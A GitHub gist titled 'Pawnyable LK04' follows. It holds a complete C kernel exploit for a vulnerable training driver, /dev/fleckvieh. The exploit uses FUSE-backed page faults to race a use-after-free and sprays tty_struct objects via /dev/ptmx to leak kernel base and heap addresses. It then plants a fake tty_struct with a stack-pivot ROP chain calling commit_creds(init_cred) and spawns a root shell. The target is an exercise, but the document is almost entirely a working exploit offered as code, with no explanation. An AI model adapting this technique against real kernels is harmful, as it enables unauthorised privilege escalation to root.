Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active January 13, 2023 09:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brant-ruan/a0c234dc2bd5fa9e40df2a5e635e1180 to your computer and use it in GitHub Desktop.
Save brant-ruan/a0c234dc2bd5fa9e40df2a5e635e1180 to your computer and use it in GitHub Desktop.
Pawnyable LK04
// gcc exploit.c -o exploit -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
#define _GNU_SOURCE
#define FUSE_USE_VERSION 29
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <fuse.h>
#include <linux/fuse.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define SPRAY_NUM 0x10
#define ofs_tty_ops 0xc3c3c0
#define push_rdx_pop_rsp_pop_ret (kbase + 0x09b13a)
#define commit_creds (kbase + 0x072830)
#define pop_rdi_ret (kbase + 0x09b0ed)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define init_cred (kbase + 0xe37480)
void fatal(const char *msg) {
perror(msg);
exit(1);
}
typedef struct {
long id;
size_t size;
char *data;
} request_t;
unsigned long user_cs, user_ss, user_sp, user_rflags;
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;
int add(char *data, size_t size) {
request_t req = {.size = size, .data = data};
int r = ioctl(fd, CMD_ADD, &req);
if (r == -1)
fatal("blob_add");
return r;
}
int del(int id) {
request_t req = {.id = id};
int r = ioctl(fd, CMD_DEL, &req);
if (r == -1)
fatal("blob_del");
return r;
}
int get(int id, char *data, size_t size) {
request_t req = {.id = id, .size = size, .data = data};
int r = ioctl(fd, CMD_GET, &req);
if (r == -1)
fatal("blob_get");
return r;
}
int set(int id, char *data, size_t size) {
request_t req = {.id = id, .size = size, .data = data};
int r = ioctl(fd, CMD_SET, &req);
if (r == -1)
fatal("blob_set");
return r;
}
static int getattr_callback(const char *path, struct stat *stbuf) {
puts("[t][+] getattr_callback");
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/pwn") == 0) {
stbuf->st_mode = S_IFREG | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = 0x1000;
return 0;
}
return -ENOENT;
}
static int open_callback(const char *path, struct fuse_file_info *fi) {
puts("[t][+] open_callback");
return 0;
}
static int read_callback(const char *path, char *file_buf, size_t size, off_t offset, struct fuse_file_info *fi) {
static int fault_cnt = 0;
puts("[t][+] read_callback");
printf("\tpath: %s\n", path);
printf("\tsize: 0x%lx\n", size);
printf("\toffset: 0x%lx\n", offset);
if (strcmp(path, "/pwn") == 0) {
switch (fault_cnt++) {
case 0:
case 1:
puts("[t][*] UAF read");
del(victim);
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
for (int i = 0; i < SPRAY_NUM; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1)
fatal("/dev/ptmx");
}
return size;
case 2:
puts("[t][*] UAF write");
printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100);
for (int i = 0; i < 0x100; i++)
add(buf, 0x400);
del(victim);
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
for (int i = 0; i < SPRAY_NUM; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1)
fatal("/dev/ptmx");
}
memcpy(file_buf, buf, 0x400);
return size;
default:
fatal("[t][-] unexpected page fault");
}
}
return -ENOENT;
}
static struct fuse_operations fops = {
.getattr = getattr_callback,
.open = open_callback,
.read = read_callback,
};
int setup_done = 0;
static void *fuse_thread(void *arg) {
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
struct fuse_chan *chan;
struct fuse *fuse;
puts("[t][*] setting up FUSE");
if (mkdir("/tmp/test", 0777))
fatal("mkdir(\"/tmp/test\")");
if (!(chan = fuse_mount("/tmp/test", &args)))
fatal("fuse_mount");
if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) {
fuse_unmount("/tmp/test", chan);
fatal("fuse_new");
}
puts("[t][*] set cpu affinity");
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");
fuse_set_signal_handlers(fuse_get_session(fuse));
setup_done = 1;
puts("[t][*] waiting for page fault");
fuse_loop_mt(fuse);
fuse_unmount("/tmp/test", chan);
}
int pwn_fd = -1;
void *mmap_fuse_file(void) {
if (pwn_fd != -1) {
puts("[*] closing /tmp/test/pwn to reopen it");
close(pwn_fd);
}
pwn_fd = open("/tmp/test/pwn", O_RDWR);
if (pwn_fd == -1)
fatal("/tmp/test/pwn");
void *page;
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, pwn_fd, 0);
if (page == MAP_FAILED)
fatal("mmap");
printf("[+] mmap /tmp/test/pwn at 0x%llx\n", (long long unsigned int)page);
return page;
}
int main() {
save_userland_state();
puts("[*] set cpu affinity");
CPU_ZERO(&pwn_cpu);
CPU_SET(0, &pwn_cpu);
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");
puts("[*] spawning a FUSE thread");
pthread_t th;
pthread_create(&th, NULL, fuse_thread, NULL);
puts("[*] waiting for setup done");
while (!setup_done)
;
fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1)
fatal("/dev/fleckvieh");
void *page;
buf = (char *)malloc(0x400);
puts("[*] UAF#1 leak kbase");
puts("[*] reading 0x20 bytes from victim blob to page");
page = mmap_fuse_file();
victim = add(buf, 0x400);
get(victim, page, 0x20);
kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
unsigned long saved_dev_ptr = *(unsigned long *)(page + 0x10);
puts("[*] UAF#2 leak kheap");
page = mmap_fuse_file();
victim = add(buf, 0x400);
puts("[*] reading 0x400 bytes from victim blob to page");
get(victim, page, 0x400);
kheap = *(unsigned long *)(page + 0x38) - 0x38;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);
puts("[*] crafting fake tty_struct in buf");
memcpy(buf, page, 0x400);
unsigned long *tty = (unsigned long *)buf;
tty[0] = 0x0000000100005401; // magic
tty[2] = saved_dev_ptr; // dev
tty[3] = kheap; // ops
tty[12] = push_rdx_pop_rsp_pop_ret; // ops->ioctl
puts("[*] crafting rop chain");
unsigned long *chain = (unsigned long *)(buf + 0x100);
*chain++ = 0xdeadbeef; // pop
*chain++ = pop_rdi_ret;
*chain++ = init_cred;
*chain++ = commit_creds;
*chain++ = swapgs_restore_regs_and_return_to_usermode;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = (unsigned long)&spawn_shell;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
puts("[*] UAF#3 write rop chain");
page = mmap_fuse_file();
victim = add(buf, 0x400);
set(victim, page, 0x400);
puts("[*] invoking ioctl to hijack control flow");
for (int i = 0; i < SPRAY_NUM; i++)
ioctl(ptmx[i], 0, kheap + 0x100);
getchar();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment